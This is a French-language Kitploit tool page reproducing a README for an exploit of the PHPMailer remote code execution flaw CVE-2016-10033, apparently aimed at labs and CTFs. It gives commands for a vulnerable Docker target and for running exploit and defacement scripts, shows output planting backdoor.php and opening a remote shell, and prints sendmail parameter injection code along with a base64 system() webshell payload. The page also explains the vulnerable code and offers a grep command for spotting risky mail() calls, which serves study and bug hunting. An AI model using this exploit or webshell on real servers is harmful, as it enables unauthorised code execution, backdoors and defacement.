Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
opsxcq-cve-2016-10033 — Pour résoudre le problème CTFS.me | Kitploit
Outils/GitHubGitHub/awidardi/opsxcq-cve-2016-10033
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubawidardi/opsxcq-cve-2016-10033

opsxcq-cve-2016-10033

Pour résoudre le problème CTFS.me

Voir le dépôt
11il y a 8 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PHPMailer < 5.2.18 Exécution de code à distance

Docker Pulls License

PHPMailer est la classe de transport la plus populaire au monde, avec environ 9 millions d'utilisateurs dans le monde. Les téléchargements continuent à un rythme significatif chaque jour. Utilisé par de nombreux projets open-source : WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! et bien d'autres.

PHPMailer avant sa version 5.2.18 souffre d'une vulnérabilité qui pourrait conduire à une exécution de code à distance (RCE). La fonction mailSend dans le transport isMail de PHPMailer, lorsque la propriété Sender n'est pas définie, pourrait permettre à des attaquants distants de passer des paramètres supplémentaires à la commande mail et par conséquent d'exécuter du code arbitraire via un " (guillemet double précédé d'un antislash) dans une adresse From spécialement conçue.

Environnement vulnérable

Pour configurer un environnement vulnérable pour votre test, vous aurez besoin d'installer Docker, et exécutez simplement la commande suivante :

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

Et cela lancera une application web vulnérable sur votre hôte sur le port 8080

vulnérable

Exploitation

Pour exploiter cette cible, exécutez simplement :

root@kitploit:~
./exploit host:port

Si vous utilisez cette image vulnérable, vous pouvez simplement exécuter :

root@kitploit:~
./exploit localhost:8080

Après l'exploitation, un fichier nommé backdoor.php sera stocké dans le dossier racine du répertoire web. Et l'exploit vous ouvrira un shell où vous pourrez envoyer des commandes à la porte dérobée :

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Et voilà, vous avez votre shell. Il existe un autre exploit, qui illustre un autre cas d'utilisation.

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

Et si vous visitez à nouveau la page, vous verrez ceci :

défiguré

Code vulnérable

Avant ce commit dans class.phpmailer.php, dans un certain scénario, il n'y a pas de filtre pour les caractères spéciaux dans l'adresse email de l'expéditeur. Cette faille peut conduire à une exécution de code à distance, via la fonction mail ici.

En analysant le code, il n'y a pas de filtre dans la fonction mailSend()

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender est directement ajouté à la variable $params, qui était filtrée dans la fonction validateAddress(), mais comme elle utilise la spécification RFC 3696, elle autorise certains caractères qui vont poser problème. Dans ce cas, les guillemets :

In addition to quoting using the backslash character, conventional double-quote characters may be used to surround strings. For example

"Abc@def"@example.com

"Fred Bloggs"@example.com

are alternate forms of the first two examples above. These quoted forms are rarely recommended, and are uncommon in practice, but, as discussed above, must be supported by applications that are processing email addresses. In particular, the quoted forms often appear in the context of addresses associated with transitions from other systems and contexts; those transitional requirements do still arise and, since a system that accepts a user-provided email address cannot "know" whether that address is associated with a legacy system, the address forms must be accepted and passed into the email environment.

Vous pouvez lire l'intégralité de la RFC ici si vous le souhaitez. Mais aussi, si la version de PHP est inférieure à 5.2.0 et que PCRE n'est pas installé, la variable $patternselect dans validateAddress() sera définie sur noregex. Cela fera que l'entrée pourra éviter toute vérification regex. Elle ne passera qu'à travers une petite vérification :

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Ensuite, le flux de code va à la fonction mailPassthru(), qui, si elle s'exécute en safe_mode, ne sera pas vulnérable à cette faille, comme le précise le code suivant :

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Mais, s'il ne s'exécute pas en safe_mode, alors notre paramètre spécial sera passé à mail() et, si nous avons de la chance, il prendra notre fichier contenant ce que nous voulons qui soit écrit là où nous choisissons de l'écrire.

Notes sur l'exploitation de la fonction mail() de PHP

L'exploitation de la fonction mail() de PHP n'est pas nouvelle, mais elle est toujours vivante et les gens l'utilisent encore. Pour expliquer comment cela fonctionne, regardons comment la fonction mail() est définie :

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Il existe plusieurs méthodes d'exploitation pour différents résultats, nous allons nous concentrer sur l'exploitation du 5ème paramètre pour obtenir une exécution de code à distance (RCE). Le paramètre $additional_parameters est utilisé pour passer des indicateurs supplémentaires en tant qu'options de ligne de commande au programme configuré pour envoyer l'email. Cette configuration est définie par la variable sendmail_path.

Une note de sécurité de la documentation officielle de PHP :

The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmiail option.

This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.

En considérant les paramètres supplémentaires qui peuvent être injectés, nous utiliserons -X pour exploiter cette faille. En savoir plus sur le paramètre -X

root@kitploit:~
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

Il existe également d'autres paramètres intéressants que vous devriez connaître :

root@kitploit:~
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

Et

root@kitploit:~
-O option=value
Set option option to the specified value. This form uses long names.

Et pour l'option -O, le QueueDirectory est l'option la plus intéressante, cette option sélectionne le répertoire dans lequel placer les messages en file d'attente.

Si vous voulez lire la liste complète des paramètres et options, faites man sendmail ou lisez-la en ligne ici

Sur la base de ces informations et de la capacité à contrôler au moins un des autres paramètres, nous pouvons exploiter l'hôte. Ci-dessous les étapes pour une exploitation réussie :

  • Contrôler $additional_parameters et un autre paramètre de mail()
  • Connaître un répertoire accessible en écriture sur l'hôte cible qui est accessible via le système cible et l'utilisateur (www-data par exemple). Généralement, ce répertoire peut être n'importe quoi en dessous de webroot (ex: /var/www/html pour d'autres systèmes, /www pour cet exemple)
  • N'importe quelle charge utile PHP que vous souhaitez, nous utilisons une simple charge utile system() dans cet exemple, avec une touche de base64 et quelques caractères spéciaux | pour faciliter l'analyse.
  • Il suffit d'assembler le tout !

Souvenez-vous que l'option -X écrira le fichier journal, qui contiendra, parmi les informations de journal, votre charge utile PHP, dans le répertoire que vous indiquerez. Exemple de code PHP vulnérable :

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

Si vous exécutez le code ci-dessus, il créera un fichier journal dans /www/backdoor.php, c'est l'essence de cet exploit.

Charge utile

Ci-dessous la charge utile utilisée dans cet exemple

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

Je veux traquer les bugs, et maintenant ?

Vous voulez un moyen simple, en une commande, d'essayer de repérer cette faille ? Souvenez-vous de cette commande grep magique !

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

En l'exécutant sur ce dépôt, on obtient

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

Crédits

Cette vulnérabilité a été découverte par Dawid Golunski.

Avertissement

Ce programme ou les programmes précédents sont UNIQUEMENT à des fins éducatives. Ne l'utilisez pas sans autorisation. La clause de non-responsabilité habituelle s'applique, en particulier le fait que moi (opsxcq) ne suis pas responsable des dommages causés par l'utilisation directe ou indirecte des informations ou fonctionnalités fournies par ces programmes. L'auteur ou tout fournisseur d'accès Internet n'assume AUCUNE responsabilité quant au contenu ou à l'utilisation abusive de ces programmes ou de tout dérivé de ceux-ci. En utilisant ces programmes, vous acceptez le fait que tout dommage (perte de données, crash système, compromission du système, etc.) causé par l'utilisation de ces programmes n'est pas de la responsabilité d'opsxcq.

Télécharger l’outil